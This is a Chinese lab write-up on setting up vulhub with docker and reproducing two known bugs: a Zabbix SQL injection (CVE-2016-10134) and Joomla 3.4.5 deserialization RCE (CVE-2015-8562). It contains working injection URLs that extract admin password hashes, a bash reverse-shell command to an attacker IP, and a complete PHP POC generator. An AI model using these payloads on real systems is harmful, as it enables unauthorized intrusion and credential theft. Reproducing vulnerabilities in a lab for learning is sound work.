搭建vulhub(基于centos)
前言
之前有所了解vulhub,但因为一些原因没有深入了解。借助这次任务安装、复现一下漏洞~
使用了:华为云的vps(centos系统)、docker(使用docker的基本要求是linux内核在3.10以上,可用uname -e
查看)
安装过程
安装过程参考自Centos安装docker+vulhub搭建
vulhub漏洞环境文档详情:Vulhub - Docker-Compose file for vulnerability environment
配置yum源
备份
cd /etc/yum.repos.d
mkdir repos_bak #用来保存备份文件夹
mv *.repo repos_bak
添加新源
curl -O http://mirrors.aliyun.com/repo/Centos-7.repo #此处为阿里源
curl -O http://mirrors.aliyun.com/repo/epel-7.repo
curl -O http://mirrors.aliyun.com/repo/epel-testing.repo
yum clean all && yum makecache #重建源缓存
安装docker
确保yum的包为最新
yum update -y
安装基本驱动依赖
yum install -y yum-untils device-mapper-persistent-data lvm2
使用阿里的docker源
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
yum makecache fast
安装docker
安装默认版本:
yum -y install docker-ce
指定版本安装:
yum list docker-ce --showduplicates | sort -r #显示docker版本列表
yum -y install 版本 #如:yum -y install docker-ce-18.03.1.ce-1.el7.centos
验证docker是否安装成功以及开机自启
docker version #显示docker版本
systemctl start docker #启动docker~
systemctl enable docker #设置开机自启
设置国内源(加速镜像使用~)
vim /etc/docker/daemon.conf #如果没有就自己创建,然后输入如下内容
{
"registry-mirrors": [
"https://dockerhub.azk8s.cn",
"https://reg-mirror.qiniu.com",
"https://registry.docker-cn.com",
"http://hub-mirror.c.163.com",
"https://3laho3y3.mirror.aliyuncs.com",
"http://f1361db2.m.daocloud.io",
"https://mirror.ccs.tencentyun.com"
]
}
vim的小知识:
粘贴完后按一下右上角的esc
,然后按:
输入wq
就可以保存并退出啦~,再加个!
就是强制保存并退出啦
重启docker:
systemctl daemon-reload
systemctl restart docker
安装docker-compose:
安装前要安装docker噢,在centos安装指令如下,也就是将可执行文件下载到本地即可~~
curl -L https://github.com/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose #添加执行权限!
安装vulhub
官方文档:
Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
安装
docker
和docker-compose
后即可开始使用vulhub:
#安装git,为了后续从github拉取vulhub
yum -y install git
# 进入漏洞管理目录,在此之前可以mkdir一个~
cd /
mkdir mycve
cd mycve
git clone https://github.com/vulhub/vulhub.git #拉取vulhub到目录mycve中
# 编译(可选)
docker-compose build
#进入想安装的漏洞环境目录,运行如下命令即可进行搭建
docker-compose up -d
#查看服务的运行端口,加上vps的ip地址就能访问啦~
docker ps
#测试完毕之后,使用此命令即可结束服务,使环境变为初始状态。
docker-compose down
关于漏洞环境搭建的一些补充
vulhub集成了许多漏洞环境,如下
进入想要下载的环境~
再进入相应漏洞目录,运行如下命令即可进行搭建
docker-compose up -d
这里我安装了zabbix的CVE-2016-10134(SQL注入漏洞)
然后访问vps的ip:对应端口即可,如下~
复现完之后记得还原初始环境噢:
docker-compose down
删除整个环境:
docker-compose down -v
ps:kali-linux安装vulhub
apt-get update ##顺便更新一下软件
apt install docker.io ##安装docker
docker -v ##查看docker版本
systemctl start docker ##开启docker,不执行这条也行,能看到版本就已经开启服务了
docker ps -a ##显示docker信息
apt-get install python3-pip ##安装pip,需要python3的环境
pip3 -V ##看看pip的版本
pip3 install docker-compose ##使用pip安装docker-compose
docker-compose -v ##看看docker-compose的版本
mkdir /cve
cd /cve
git clone https://github.com/vulhub/vulhub.git ##下载靶场
其余的启动和关闭靶场同上~
漏洞复现
这里先随便复现两个过过瘾吧,后面再另作目录分组记录~
zabbix latest.php SQL注入漏洞(CVE-2016-10134)
概述
zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。
zabbix 2.2.x, 3.0.0-3.0.3版本存在SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统
Zabbix 的latest.php中的toggle_ids[]
或jsrpc.php中的profieldx2参数
存在sql注入,通过sql注入获取管理员账户密码,进入后台,进行getshell操作。
复现
latest.php中的toggle_ids[]
需要靶机系统未关闭默认开启guest账户登陆,zabbix 默认账户Admin密码zabbix(弱口令尝试一波~)
使用username:guest,password为空的游客账户登陆
登录后,查看Cookie中的zbx_sessionid
,复制后16位字符:
将这16个字符作为sid的,构造payload:
http://your-ip:8080/latest.php?output=ajax&sid=******************&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,database(),0xa,user()),0)
如下:
jsrpc.php的profieldx2参数
也可以通过jsrpc.php触发,且无需登陆
http://your-ip:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,database(),0xa,user()),0)
如下:
getshell
然后就是常规的注入流程啦。拿到管理员账户密码~
payload:
http://yourip:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0x7e,substr((select group_concat(surname,0x2a,passwd) from users ),1)),0)
Administrator
5fce1b3e34b520afeffb37ce08c7cd66
MD5解密即得密码zabbix
管理员账户:(不懂为啥,用户名是Admin,可能是环境问题?)
Admin
zabbix
登入后如下图点击~在administration下的scripts添加命令
写入反弹shell:
bash -i >& /dev/tcp/你的ip/你的端口 0>&1
触发脚本,然后NC监听即可~
Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)
安装过程
老样子,只是在网页配置过程注意填入如下数据
概述
本漏洞根源是PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。
影响版本
- Joomla 1.5.x, 2.x, and 3.x before 3.4.6
- PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
分析
1.在低版本的php中,反序列化函数unserialize做了欠缺的异常处理。即不能正确解析需要反序列化的字符串时,会查找字符串中的下一个标识符"|",从此处分割,以标识符前段做段名,再次解析标识符后段的字符串,直到成功或返回空。(此漏洞修复版本为:4.5.45 5.5.29 5.6.13 7.x)
在php5.6.13以前的版本里,php在获取session字符串以后,就开始查找第一个|,然后用这个|将字符串分割成『键名』和『键值』。 用unserialize解析键值,解析结果作为session。
但如果这个unserialize解析失败,就放弃这次解析。找到下一个|,再根据这个|将字符串分割成两部分,执行同样的操作,直到解析成功。
2.mysql在低版本或未配置utf8mb4时处理4字节utf字符会从4字节处截断,即丢弃截断处后的字符。(在mysql 5.5.3以后 可以通过设置字段为utf8mb4来避免漏洞)
在我们构造好的反序列化字符串后面,还有它原本的内容,必须要截断。而此处并不像SQL注入,还有注释符可用。
在插入数据库的时候利用
𝌆
(%F0%9D%8C%86)字符将utf-8的字段截断了。这里我们用同样的方法,在session进入数据库的时候就截断后面的内容,避免对我们反序列化过程造成影响。
3.joomla在对useragent处理时会将useragent作为一个session存入数据库,没有过滤引起php反序列漏洞的"|"符号。
joomla对session的存储格式为:
键名 + | + 经serialize()序列化处理的值
此处漏洞主要利用joomla存储格式对 | 的处理不当,导致攻击者可以利用 | 伪造,使得 | 前都为name, | 后就作为我们要插入的序列化字符串,即可构成反序列化漏洞。
这个joomla漏洞的核心内容就是:我们通过𝌆
字符, 将原本的session截断了,结果因为长度不对所以第一次解析|失败,才轮到第二次解析传入的 | ,最后成功利用。
所以,构造session出错,是这个漏洞成立的核心。
整个流程:
第一次传包:
客户端User-Agent字符串-》joomla将User-Agent字符串存储为session-》合并到session表中,序列化,将含poc的字符串存入数据库(mysql截断漏洞)
第二次传包:
客户端发起请求-》从数据库中读入数据库并反序列化session(php反序列化漏洞)-》执行poc,闭合函数
复现
不带User-Agent头,先访问一次目标主页,记下服务端返回的Cookie:
vulhub文档滴poc: (在线执行PHP Sandbox, test PHP online, PHP tester (onlinephpfunctions.com))
<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}
class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}
$a = new JDatabaseDriverMysqli();
$poc = serialize($a);
$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);
echo "123}__test|{$poc}\xF0\x9D\x8C\x86";
将生成好的POC作为User-Agent,带上第一步获取的Cookie发包,这一次发包,脏数据进入Mysql数据库。
然后同样的包再发一次,我们的代码被执行:
参考